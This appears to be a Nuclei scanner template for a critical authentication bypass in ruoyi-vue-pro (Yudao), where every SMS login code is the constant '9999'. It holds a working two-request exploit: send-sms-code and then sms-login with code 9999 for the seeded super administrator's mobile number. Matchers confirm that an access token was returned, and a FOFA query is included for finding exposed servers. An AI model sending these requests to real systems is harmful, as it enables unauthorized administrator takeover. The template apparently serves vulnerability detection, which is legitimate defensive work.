Ruoyi-Vue-Pro - Unauthenticated Admin Takeover via Predictable SMS Code

id: CVE-2026-116006

info:
  name: Ruoyi-Vue-Pro - Unauthenticated Admin Takeover via Predictable SMS Code
  author: kosoyyagent
  severity: critical
  description: |
    ruoyi-vue-pro (Yudao) ships base configuration yudao.sms-code.begin-code=end-code=9999, so every generated SMS verification code is the constant "9999" in all profiles. The anonymous SMS-login flow therefore grants an access token to any account whose mobile number is known: send-sms-code followed by sms-login with code 9999 issues a full token, including for the seeded super administrator account (mobile 18818260272 in the shipped SQL). No CAPTCHA hook exists for scene=21 in any profile.
  impact: |
    Remote attackers can bypass authentication, potentially gaining unauthorized access to the system.
  remediation: |
    Update to the latest version.
  reference:
    - https://gist.github.com/Fulucky0-yuri/1ad8a1f166af7cb85c498473753a8636
    - https://github.com/YunaiV/ruoyi-vue-pro
    - https://nvd.nist.gov/vuln/detail/CVE-2026-116006
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 9.2
    cve-id: CVE-2026-116006
    cwe-id: CWE-1188,CWE-798
    epss-score: 0.00834
    epss-percentile: 0.57966
  metadata:
    verified: true
    max-request: 2
    fofa-query: body="ruoyi-vue-pro"
  tags: cve,cve2026,ruoyi,yudao,auth-bypass

http:
  - raw:
      - |
        POST /admin-api/system/auth/send-sms-code HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"mobile":"18818260272","scene":21}

      - |
        POST /admin-api/system/auth/sms-login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"mobile":"18818260272","code":"9999"}

    cookie-reuse: true
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'accessToken":'
          - 'refreshToken":'
        condition: and

      - type: word
        part: body
        words:
          - "\"code\":0"